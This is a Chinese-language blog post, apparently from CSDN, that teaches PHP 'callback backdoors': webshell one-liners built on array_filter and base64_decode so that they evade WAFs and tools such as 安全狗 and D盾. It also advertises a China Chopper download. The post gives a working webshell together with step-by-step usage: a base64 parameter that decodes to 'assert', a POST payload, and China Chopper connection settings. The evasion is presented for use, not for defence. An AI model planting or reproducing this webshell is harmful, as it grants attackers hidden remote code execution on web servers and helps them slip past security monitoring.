php回调后门,php过WAF一句话,php最新一句话,php过狗一句话.

最新推荐文章于 2024-07-03 08:52:14 发布

settoken

最新推荐文章于 2024-07-03 08:52:14 发布

阅读量7.7k

点赞数 3

分类专栏：中国菜刀下载文章标签：菜刀php一句话 2016最新中国菜刀下载中国菜刀最新版下载中国菜刀一句话下载中国菜刀下载

本文链接：https://blog.csdn.net/settoken/article/details/50946689

版权

本文介绍了如何利用PHP中的回调函数创建隐蔽的Webshell，包括array_filter、array_map、uasort等，详细列举了不同用法的一句话后门，并探讨了如何绕过WAF和安全防护。此外，还分享了适用于不同PHP版本的免杀回调后门实例。

摘要由CSDN通过智能技术生成

中国菜刀下载,基于原版中国菜刀优化版20160309.

下载地址:

China chopper

分享一下，一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截过WAF的一句话.

有同学收集tips，就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数（无特征）的一句话（后门）?
根据上面这个pdo的一句话，我就可以得到一个很具有普适性的结论：php中包含回调函数参数的函数，具有做后门的潜质。
我就自己给这类webshell起了个名字：回调后门.

下面是收集并整理的各种一句话,带使用方法.

第一个:array_filter+base64_decode

<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_filter($arr, base64_decode($e));
?>

用法:

http://www.xxx.com/settoken.php?e=YXNzZXJ0

浏览器提交POST：settoken=phpinfo();

菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0

密码：settoken

关注